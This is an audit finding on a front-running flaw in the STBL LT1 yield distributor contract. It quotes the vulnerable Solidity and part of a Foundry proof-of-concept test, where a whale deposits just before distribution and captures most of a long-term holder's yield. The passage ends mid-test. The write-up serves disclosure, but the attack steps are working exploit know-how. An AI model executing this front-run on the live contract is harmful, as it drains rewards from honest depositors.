MEDIUM severity: Front-running attack on yield distribution allows potential theft of accumulated rewards. **Description:** Current yield distribution has following properties:

1. Periodic distribution - yield is calculated and distributed once every `yieldDuration` seconds. [Onchain contracts](https://etherscan.io/address/0x120F72491DA96CD42ca116AA11caEe206a4a1668#readContract) show that...

Vulnerable code:
// STBL_LT1_YieldDistributor.sol

function distributeReward(uint256 reward) external {
    // @audit once every yieldDuration seconds
    if (previousDistribution + AssetData.yieldDuration >= block.timestamp)
        revert STBL_Asset_YieldDurationNotReached(assetID, previousDistribution);

    // @audit proportional distribution without time weighting
    rewardIndex += (reward * MULTIPLIER) / totalSupply;
    previousDistribution = block.timestamp;
}

function distributeYield() external {
        AssetDefinition memory AssetData = registry.fetchAssetData(assetID);
        uint256 differentialUSD = iCalculatePriceDifferentiation(); //@audit USD value calculated based on latest price
         if (differentialUSD > 0) {
               iSTBL_LT1_AssetYieldDistributor(AssetData.rewardDistributor)
                .distributeReward(
                    yieldAssetValue.convertFrom18Decimals(
                        DecimalConverter.getTokenDecimals(AssetData.token)
                    )
                );
       }
}

/**
     * @notice Demonstrates the yield frontrunning attack
     * @dev Shows how a whale can capture majority of yield rewards despite minimal stake duration
     */
    function test_YieldMEVAttack() public {
        // Test amounts
        address alice = address(0x1001); // Long-term depositor
        address bob = address(0x1002);   // MEV attacker
        uint256 aliceDeposit = 100000e18; // $100,000 equivalent
        uint256 bobDeposit = 10000000e18; // $10,000,000 (whale deposit)

        // Step 1: Alice deposits early and holds for the full period
        console.log("--- Step 1: Alice (Long-term depositor) deposits $100k ---");

        // Get LT1 contracts (using asset ID 2)
        STBL_LT1_Issuer issuerContract = STBL_LT1_Issuer(getAssetIssuer(2));
        STBL_LT1_Vault vaultContract = STBL_LT1_Vault(getAssetVault(2));
        STBL_LT1_YieldDistributor yieldDistributorContract = STBL_LT1_YieldDistributor(getAssetYieldDistributor(2));
        STBL_LT1_TestOracle oracleContract = STBL_LT1_TestOracle(getAssetOracle(2));
        STBL_LT1_TestToken token = STBL_LT1_TestToken(getAssetToken(2));

        // Mint tokens to Alice and approve
        vm.startPrank(admin);
        token.mintVal(alice, aliceDeposit);
        vm.stopPrank();

        vm.startPrank(alice);
        token.approve(address(vaultContract), aliceDeposit);
        uint256 aliceNftId = issuerContract.deposit(aliceDeposit);
        vm.stopPrank();

        console.log("Alice's NFT ID:", aliceNftId);
        console.log("Alice's deposit amount:", aliceDeposit);

        // Step 2: Wait almost full yield duration and generate significant yield
        console.log("--- Step 2: Wait 29 days, generate significant yield ---");

        // Get current yield duration from asset config
        AssetDefinition memory assetData = registry.fetchAssetData(2);
        uint256 yieldDuration = assetData.yieldDuration;
        console.log("Yield duration (seconds):", yieldDuration);

        // Fast forward most of the duration (leave small window for Bob)
        uint256 timeToWait = yieldDuration - 86400; // 1 day before yield can be distributed
        vm.warp(block.timestamp + timeToWait);
        console.log("Time advanced by:", timeToWait, "seconds (~29 days)");

        // Simulate significant price appreciation
        uint256 initialPrice = oracleContract.fetchPrice();
        console.log("Initial oracle price:", initialPrice);

        // Generate 10% price appreciation (1000 * 0.01 = 10)
        for(uint256 i = 0; i < 1000; i++) {
            oracleContract.setPrice();
        }

        uint256 appreciatedPrice = oracleContract.fetchPrice();
        console.log("Final oracle price:", appreciatedPrice);
        console.log("Price appreciation:", ((appreciatedPrice - initialPrice) * 100) / initialPrice, "%");

        // Step 3: Bob monitors and deposits just before yield distribution window
        console.log("--- Step 3: Bob monitors yield distribution window ---");

        // Bob waits until yield can be distributed
        vm.warp(block.timestamp + 86401); // Now at yieldDuration exactly
        console.log("Advanced to yield distribution window");

        // Bob deposits whale amount right before distribution
        vm.startPrank(admin);
        token.mintVal(bob, bobDeposit);
        vm.stopPrank();

        vm.startPrank(bob);
        token.approve(address(vaultContract), bobDeposit);
        uint256 bobNftId = issuerContract.deposit(bobDeposit);
        vm.stopPrank();

        console.log("Bob's NFT ID:", bobNftId);
        console.log("Bob deposits 100x more capital than Alice:", bobDeposit);

        // Step 4: Check distribution ratios before yield distribution
        console.log("--- Step 4: Analyzing stake distribution ---");

        (uint256 aliceStake,,,) = yieldDistributorContract.stakingData(aliceNftId);
        (uint256 bobStake,,,) = yieldDistributorContract.stakingData(bobNftId);
        uint256 totalStake = yieldDistributorContract.totalSupply();

        console.log("Alice stake:", aliceStake);
        console.log("Bob stake:", bobStake);
        console.log("Total stake:", totalStake);

        uint256 aliceSharePct = (aliceStake * 100) / totalStake;
        uint256 bobSharePct = (bobStake * 100) / totalStake;
        console.log("Alice will receive:", aliceSharePct, "% of yield");
        console.log("Bob will receive:", bobSharePct, "% of yield");

        // Step 5: Trigger yield distribution
        console.log("--- Phase 5: Yield Distribution ---");

        uint256 expectedYield = vaultContract.CalculatePriceDifferentiation();
        console.log("Expected yield amount:", expectedYield);

        if (expectedYield > 0) {
            // Treasury distributes yield
            vm.prank(treasury);
            vaultContract.distributeYield();

            console.log("Yield distributed");
        }

        // Phase 6: Analyze unfair results
        console.log("--- Step 6: Attack Results ---");

        uint256 aliceRewards = yieldDistributorContract.calculateRewardsEarned(aliceNftId);
        uint256 bobRewards = yieldDistributorContract.calculateRewardsEarned(bobNftId);
        uint256 totalRewards = aliceRewards + bobRewards;

        console.log("Alice earned rewards:", aliceRewards);
        console.log("Bob earned rewards:", bobRewards);

        if (totalRewards > 0) {
            uint256 alicePct = (aliceRewards * 100) / totalRewards;
            uint256 bobPct = (bobRewards * 100) / totalRewards;

            console.log("UNFAIR DISTRIBUTION RESULTS:");
            console.log("Alice (30-day holder):", alicePct, "% of rewards");
            console.log("Bob (last-minute attacker):", bobPct, "% of rewards");

            // Verify attack succeeded
            assertTrue(bobRewards > aliceRewards, "MEV attack failed - Bob should earn more");
        }